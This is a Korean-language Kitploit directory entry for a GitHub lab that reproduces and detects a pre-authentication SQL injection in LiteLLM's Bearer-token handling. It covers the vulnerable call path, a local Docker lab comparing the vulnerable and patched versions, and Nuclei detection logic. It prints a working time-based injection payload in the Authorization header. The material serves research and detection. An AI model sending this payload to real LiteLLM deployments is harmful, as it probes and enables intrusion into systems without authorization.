Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
poc_cve-2026-42208 | Kitploit
도구/GitHubGitHub/haerin-l/poc_cve-2026-42208
Vulnerability AnalysisWeb Application ExploitationCTFPenetration TestingLearning & EducationLabs & Practice
GitHubhaerin-l/poc_cve-2026-42208

poc_cve-2026-42208

저장소 보기
2개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-42208 — LiteLLM 사전 인증 SQL 인젝션

LiteLLM에서 정제되지 않은 Bearer 토큰이 원시 PostgreSQL 쿼리에 도달하는 치명적인 사전 인증 SQL 인젝션 취약점인 CVE-2026-42208을 재현하고 탐지하기 위한 랩 환경입니다.


취약점 개요

필드상세
CVE IDCVE-2026-42208
GHSAGHSA-r75f-5x8p-qvmc
CVSS9.3 (치명적) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
영향받는 버전>= 1.81.16, < 1.83.7
패치 버전v1.83.7 (매개변수화된 쿼리)
CWECWE-89 (SQL 인젝션)

근본 원인

root@kitploit:~
Vulnerable (v1.83.6):
  POST /v1/chat/completions
  Authorization: Bearer <payload>   ← payload does NOT start with "sk-"
    → api_key.startswith("sk-") assertion fails  (utils.py:1189)
    → caught by except Exception                  (utils.py:1560)
    → _handle_authentication_error(api_key=RAW_PAYLOAD)
    → _enrich_failure_metadata_with_key_info()
    → get_data(token=RAW_PAYLOAD, table_name="combined_view")
    → SQL: WHERE v.token = '{payload}'  ← injection

Patched (v1.83.7):
  Same request path, but:
    → get_data(token=hashed_token, ...)
    → SQL: WHERE v.token = $1          ← parameterized, no injection

공격 전제 조건


랩 아키텍처

root@kitploit:~
Host Machine
├── localhost:8010 ──→ Docker: litellm-vuln    (v1.83.6-nightly  ⚠ VULNERABLE)
│                      Docker: litellm-db-vuln  (PostgreSQL 15)
└── localhost:8011 ──→ Docker: litellm-patched (v1.83.7-stable   ✓ PATCHED)
                       Docker: litellm-db-patched (PostgreSQL 15)

사전 요구 사항

도구설치
Docker Desktopdocker.com
nucleibrew install nuclei
curl, python3macOS에 기본 설치됨

실행 방법

1단계 — 랩 환경 구성

root@kitploit:~
bash scripts/01-setup.sh

완료 시:

root@kitploit:~
══════════════════════════════════════════════════════
 Lab ready!
 Vulnerable (v1.83.6-nightly) : http://localhost:8010
 Patched    (v1.83.7-stable)  : http://localhost:8011
 Master Key : sk-lab-master-key
 Next: bash scripts/02-exploit.sh
══════════════════════════════════════════════════════

2단계 — CVE 트리거

root@kitploit:~
bash scripts/02-exploit.sh

예상 출력 — 취약 버전 (v1.83.6-nightly):

root@kitploit:~
── Vulnerable (v1.83.6-nightly, port 8010) ──
  Baseline    : 0.031s
  Injection   : 6.062s  (HTTP 401)
  Delta       : +6.031s
  ⚠  RESULT: pg_sleep fired — SQL INJECTION CONFIRMED (VULNERABLE)

예상 출력 — 패치 버전 (v1.83.7-stable):

root@kitploit:~
── Patched    (v1.83.7-stable,  port 8011) ──
  Baseline    : 0.028s
  Injection   : 0.029s  (HTTP 401)
  Delta       : +0.001s
  ✓  RESULT: No significant delay — injection not executed (PATCHED)

3단계 — Nuclei 탐지

root@kitploit:~
# Vulnerable instance → should produce a [critical] finding
nuclei -t nuclei/CVE-2026-42208.yaml -u http://localhost:8010

# Patched instance → should produce no findings
nuclei -t nuclei/CVE-2026-42208.yaml -u http://localhost:8011

취약 버전 (v1.83.6-nightly):

Nuclei 탐지 — 취약 버전

패치 버전 (v1.83.7-stable):

Nuclei 탐지 — 패치 버전

4단계 — 환경 정리

root@kitploit:~
bash scripts/99-teardown.sh

디렉터리 구조

root@kitploit:~
litellm-cve-2026-42208/
├── README.md
├── VULNERABILITY_ANALYSIS.md       # Code-level analysis (English)
├── LAB_SETUP_GUIDE.md              # Lab setup guide (English)
├── NUCLEI_TEMPLATE_GUIDE.md        # Nuclei template design (English)
├── docker-compose.yaml
│
├── REPORT/                         # Korean reports
│   ├── Vulnerability_Analysis_KR.md
│   ├── LAB_REPORT_KR.md
│   └── Nuclei_Template_Report_KR.md
│
├── nuclei/
│   └── CVE-2026-42208.yaml         # Nuclei detection template
│
└── scripts/
    ├── 01-setup.sh                 # Start containers, create seed key
    ├── 02-exploit.sh               # PoC: timing-based injection proof
    └── 99-teardown.sh              # Stop and remove all lab resources

Nuclei 템플릿 탐지 로직

root@kitploit:~
Step 1  GET /health/liveliness
        → match "I am alive" in body
        → confirms target is a LiteLLM instance

Step 2  POST /v1/chat/completions
        Authorization: Bearer ' OR (SELECT pg_sleep(6)) IS NOT NULL --

        Matchers (AND — all must pass):
          status == 401           eliminates 504/502 false positives
          body contains           "auth_error" OR "Authentication Error"
                                  confirms LiteLLM auth path, not a proxy
          duration >= 5           pg_sleep(6) fired → injection confirmed

오탐 방지:

  • status == 401은 업스트림 타임아웃(504) 및 게이트웨이 오류(502)로 인한 응답을 제거합니다
  • 본문 키워드 일치는 401이 WAF나 프록시가 아닌 LiteLLM의 인증 처리에서 발생했음을 확인합니다
  • duration >= 5는 네트워크 지터를 배제할 만큼 충분히 높습니다 (기준값은 ≤0.5초)

참고 자료

  • GHSA-r75f-5x8p-qvmc
  • NVD — CVE-2026-42208
  • Sysdig 분석

경고: 이 랩의 모든 자격 증명은 보안 연구 목적의 가짜 테스트 데이터입니다. 프로덕션 환경에서 절대 사용하지 마세요. 소유하지 않은 시스템을 스캔하기 전에 항상 명시적 승인을 받으십시오.

도구 다운로드
#조건상세
1영향받는 LiteLLM 버전>= 1.81.16, < 1.83.7
2PostgreSQL 백엔드SQLite 배포는 영향 없음
3인증 불필요사전 인증; 자격 증명 불필요
4VerificationToken에 1개 이상의 행pg_sleep는 행마다만 실행됨; 빈 테이블 = 지연 없음